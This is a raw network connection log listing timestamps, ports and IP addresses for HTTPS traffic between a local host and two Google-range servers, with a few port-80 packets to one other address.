Dec 30, 2024 11:37:45.928911924 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:45.929022074 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.024481058 CET	50546	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.024508953 CET	443	50546	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.027947903 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.027992010 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.028981924 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.032469034 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.032486916 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.375329971 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.375554085 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.376091003 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.376246929 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.379616976 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.379647017 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.379951954 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.380013943 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.380603075 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.398287058 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.398374081 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.399204969 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.399333000 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.404464006 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.404484987 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.404921055 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.405114889 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.405515909 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.411938906 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.412597895 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.412894011 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.412905931 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.416459084 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.416476965 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.423348904 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.424240112 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:37:46.447340965 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.632639885 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.632699966 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.633321047 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.633328915 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.633505106 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.633510113 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.749291897 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.749358892 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.749387980 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.749403000 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.749433041 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.749450922 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.749478102 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.749495029 CET	443	50552	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.749506950 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.749535084 CET	50552	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.750015974 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.750072956 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.750134945 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.750607967 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.750624895 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.950218916 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.950279951 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.950309038 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.950325012 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.950350046 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.950378895 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.950494051 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.950562000 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.950591087 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.950625896 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.950645924 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.950691938 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.950824976 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.950860023 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.950902939 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.950937986 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.951025009 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.951065063 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.956921101 CET	50551	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.956948996 CET	443	50551	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.957969904 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.958034992 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.958105087 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.958643913 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:46.958666086 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:46.960210085 CET	50553	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.960239887 CET	443	50553	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.961473942 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.961524010 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:46.961586952 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.961909056 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:46.961920977 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.059794903 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.059839964 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.059880018 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.059880018 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.059907913 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.059942007 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.059947014 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.059977055 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.059981108 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.060009003 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.060010910 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.060040951 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.060882092 CET	50554	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.060897112 CET	443	50554	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.061877012 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.061928988 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.061975956 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.062273026 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.062285900 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.544208050 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.544265985 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.544728994 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.544740915 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.544888973 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.544893980 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.560256958 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.560314894 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.561326027 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.561342001 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.563585043 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.563607931 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.578790903 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.578866005 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.579468966 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.579483986 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.579735994 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.579741955 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.672286987 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.672414064 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.672862053 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.672875881 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.673049927 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.673057079 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.922100067 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.922275066 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.922296047 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.922362089 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.922522068 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.922566891 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.922739029 CET	443	50555	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.922796965 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.922796965 CET	50555	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.924565077 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.924606085 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.925002098 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.925131083 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.925146103 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.953789949 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.953860044 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.953860044 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.953979015 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.954035044 CET	50556	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.954054117 CET	443	50556	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.954785109 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.954830885 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.954895973 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.955233097 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:47.955244064 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:47.976016045 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.976073027 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.976170063 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.976195097 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.976289988 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.976958990 CET	50557	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.976979971 CET	443	50557	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.977904081 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.977946043 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:47.979407072 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.979407072 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:47.979435921 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.132663965 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.132781029 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.132786989 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.132812023 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.132843018 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.132869959 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.133058071 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.133114100 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.133143902 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.133188009 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.133194923 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.133325100 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.133814096 CET	50558	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.133833885 CET	443	50558	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.134526968 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.134577036 CET	443	50563	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.134855032 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.134855032 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.134881973 CET	443	50563	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.545605898 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.545712948 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.546397924 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.546473026 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.550388098 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.550403118 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.550695896 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.550940990 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.551650047 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.561283112 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.561446905 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.562076092 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.562135935 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.563741922 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.563751936 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.564049959 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.564165115 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.564476967 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.595325947 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.597737074 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.600136042 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.607326984 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.748492956 CET	443	50563	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.752485037 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.834738970 CET	49739	80	192.168.2.4	69.42.215.252
Dec 30, 2024 11:37:48.924617052 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.925470114 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.925581932 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.928289890 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.928380013 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.928447008 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.929363966 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.929419041 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.978615999 CET	50560	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.978652000 CET	443	50560	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.979667902 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.979698896 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.979959011 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.979964972 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.980406046 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.980453014 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:48.980541945 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.980775118 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.980868101 CET	443	50563	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:48.980921030 CET	50563	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:48.982062101 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:48.982086897 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.013492107 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.013556004 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.013665915 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.015999079 CET	50559	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.016027927 CET	443	50559	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.016992092 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.017039061 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.017344952 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.017780066 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.017810106 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.039261103 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.039278030 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311378002 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311439991 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311453104 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.311486959 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311501026 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.311553955 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.311561108 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311572075 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.311615944 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.313867092 CET	50562	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.313888073 CET	443	50562	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.315767050 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.315817118 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.315937996 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.317343950 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.317356110 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.591674089 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.591736078 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.592120886 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.592129946 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.592299938 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.592305899 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.639153004 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.639228106 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.642443895 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.642456055 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.642800093 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.643007994 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.643599033 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.650719881 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.650821924 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.651360989 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.651371002 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.651515961 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.651520967 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.691329002 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.917702913 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.917779922 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.921411037 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.921439886 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.921684980 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.921794891 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.922086000 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:49.963337898 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:49.964188099 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.964258909 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.964277029 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.964309931 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.964536905 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.964565039 CET	443	50564	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.964700937 CET	50564	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.965267897 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.965322018 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:49.966165066 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.966753960 CET	50570	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:49.966769934 CET	443	50570	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.033391953 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.033447981 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.033476114 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.033535004 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.034029961 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.034079075 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.034085989 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.034116030 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.040787935 CET	50566	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.040813923 CET	443	50566	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.041357040 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.041394949 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.041507006 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.041918039 CET	50571	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:37:50.041929960 CET	443	50571	142.250.186.142	192.168.2.4
Dec 30, 2024 11:37:50.106735945 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106791019 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106800079 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.106827021 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106841087 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.106859922 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.106864929 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106899977 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.106905937 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106919050 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.106955051 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.107614040 CET	50565	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.107628107 CET	443	50565	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.108344078 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.108392954 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.110589027 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.110961914 CET	50572	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.110975981 CET	443	50572	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343178988 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343240976 CET	50569	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:37:50.343249083 CET	443	50569	142.250.186.97	192.168.2.4
Dec 30, 2024 11:37:50.343265057 CET	443	50569	142.250.186.97	192.168.2.4
